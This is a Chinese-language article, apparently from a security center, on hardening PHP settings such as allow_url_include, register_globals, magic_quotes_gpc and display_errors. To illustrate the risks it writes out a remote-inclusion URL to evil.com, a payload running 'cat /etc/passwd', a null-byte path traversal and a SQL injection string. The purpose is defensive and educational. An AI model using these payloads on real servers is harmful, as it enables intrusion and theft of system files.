PHP安全相关的配置

PHP作为一门强大的脚本语言被越来越多的web应用程序采用,不规范的php安全配置可能会带来敏感信息泄漏、SQL注射、远程包含等问题,规范的安全配置可保障最基本的安全环境。下面我们分析几个会引发安全问题的PHP配置,并给出建议的选项。

1、register_globals = Off

PHP在进程启动时,会根据register_globals的设置,判断是否将$_GET、$_POST、$_COOKIE、$_ENV、$_SERVER、$REQUEST等数组变量里的内容自动注册为全局变量。

我们举个例子来说明register_globals = On时,会引发的安全问题:

<?php  
if (authenticated_user())
  $authorized = true;
?>

//  由于authorized 未被初始化,故而可能通过register_globals被定义

//  如 GET example.php?authorized=1
<?php if (!$authorized):

   // 一些重要的操作,比如SetCookies

   include(“SetCookies.php”);

?>

     

对于上述代码,由于PHP会自动的为每个提交的值创建一个变量,这样只要在请求中提交http://example.com/example.php?authorized=1,即可获得授权操作,为了避免出现这样的问题,建议将register_globals配置为Off。

2、allow_url_include =Off  

PHP通过此选项控制是否允许通过include/require来执行一个远程文件(如http://evil.com/evil.php或ftp://evil.com/evil.php)。

代码示例如下:

// http://HostA/test.php如下:

 

 

<?php

$strParam = $_GET['param'];

if (!include_once($strParam.’.php’)){

   echo “error”;

}

?>

// http://evil.com/evil.php示例如下:

<?php
   echo "<?php system('cat/etc/passwd'); ?>"

?>  

假如用户访问如下的URL,访问页面中的$strParam将被设置为一个远程的URLhttp://evil.com/evil.php。如果此配置被设置为on,那么test.php会通过include_once执行远程服务器上的PHP文件(http://evil.com/evil.php),后果不言而喻。

   http://HostA/test.php?param=http://evil.com/evil

所以建议此选项强制配置为Off

当然要彻底解决上述代码的安全漏洞,除了规范PHP配置,还需要规范PHP编码。

3、magic_quotes_gpc = on  

举一个典型的SQL注入示例,假如SQL语句用如下方式拼接:

select * from user where pass=’ “. $_GET[‘passwd’]. ”' and user='” . $_GET[‘username’] .”';

假如用户提交一个login.php?passwd=p&username=’ or ‘1’=’1请求,代码中的SQL语句将变成:

这就造成一个SQL注入漏洞。避免此问题出现的正确思路是开发者在拼接SQL语句之前过滤所有接收的数值,并严格执行这种编码规范,但是并不是所有的开发者都会意识到这种问题的存在,而此时,如果将php.inimagic_quotes_gpc设置为On时,PHP将对所有GPC参数($_GET,$_POST,$_COOKIE)进行addslashes处理[既转义单引号、双引号、反斜线和nullbyte],该SQL语句将是:

由于已经被转义,SQL语句不能被成功执行,从而防止SQL注射。

另外,以小节2中的http://HostA/test.php为例,当magic_quotes_gpc= Off的情况下,用户提交一个example.php?param=../../../etc/passwd%00请求,由于代码中限制的文件后缀(.php)将被%00截断,就会通过require_once尝试读取/etc/passwd文件。

值得注意的是,magic_quotes_gpc配置为On时,有以下缺点:

1、     php此时会对所有GPC参数做addslashes处理,会有比较大的性能损耗。

2、     GPC参数被用于其他操作如逻辑关系判断之前就必须先做strislashes处理,否则结果必然是不正确的。

考虑到开启此选项带来的性能损耗和代码的复杂化,可以在使用时灵活设置,对于一些不规范或者无人维护的代码,可以开启此选项;更好的做法是将此值设置为Off,由开发者严格过滤来自用户的输入。

4、expose_php = Off  

我们经常会在一个http头里发现这样的信息:

X-Powered-By:PHP/5.2.11

PHP的版本号暴露无疑,攻击者很容易捕获到此信息,要想解决此问题我们只要如下配置

;;;;;;;;;;;;;;;;;

; Miscellaneous ;

;;;;;;;;;;;;;;;;;

 

; Decides whether PHP may expose the fact thatit is installed on the server

; (e.g. by adding its signature to the Webserver header).  It is no security

; threat in any way, but it makes it possibleto determine whether you use PHP

; on your server or not.

; http://php.net/expose-php

expose_php = On

该配置项默认为On,需要修改为Off

5、display_errors = Off

此控制项控制PHP是否将errornoticewarning日志打印出来,以及打印的位置。错误信息主要用于辅助开发,但是在线上环境却非常危险,因为这样将会把服务端的WebServer、数据库、PHP代码部署路径,甚至是数据库连接、数据表等关键信息暴露出去,为攻击者带来极大便利。所以建议产品上线时修改为Off

6、error_reporting = E_ALL& ~E_NOTICE

此配置项控制PHP打印哪些错误日志(errorswarningsnotices)。默认情况下会打印所有的错误日志,线上环境我们应该不显示具体的E_NOTICE日志信息。

导致E_NOTICE错误的最普遍场景是——使用未经初始化的变量,以下述代码为例:

 

       // 假如用户请求中无username 参数,则会打印notice错误

 

<?php

       // 假如用户请求中无username 参数,则会打印notice错误

       $username = $_GET[‘username’];

       // 引用一个未初始化的变量var2

       //  则会打印notice错误

       $var1   = $var2;

?>

如果用户访问的url中没有指定username参数,则代码中$_GET[‘username’]就是一个未经初始化的变量,直接访问就会抛出一个NOTICE错误。上述代码执行会报如下错误,这样即泄漏了代码目录。

PHP Notice: Undefined index: username in /somepath/test.php on line 3

PHP Notice: Undefined variable: var2 in /somepath/test.php on line 6

攻击者会利用这些信息,猜测代码逻辑,使得攻击变得更方便。

7、display_startup_errors =Off  

php启动时产生的错误由此选项进行控制,这个和display_errors是分开的。为了避免PHP进城启动时产生的错误被打印到页面上而造成信息泄漏,此选项在线上服务也应该被配置为Off

为了方便开发和调试,开发环境可以将其设置为On

 

由此我们可以看出,正确的PHP基础安全配置可有效避免很多高危漏洞,避免泄漏服务器敏感信息,从而提升产品的安全性。

 来源:网易安全中心

http://anquan.163.com/module/pedia/article-00031.html

你可能感兴趣的:(PHP安全相关的配置)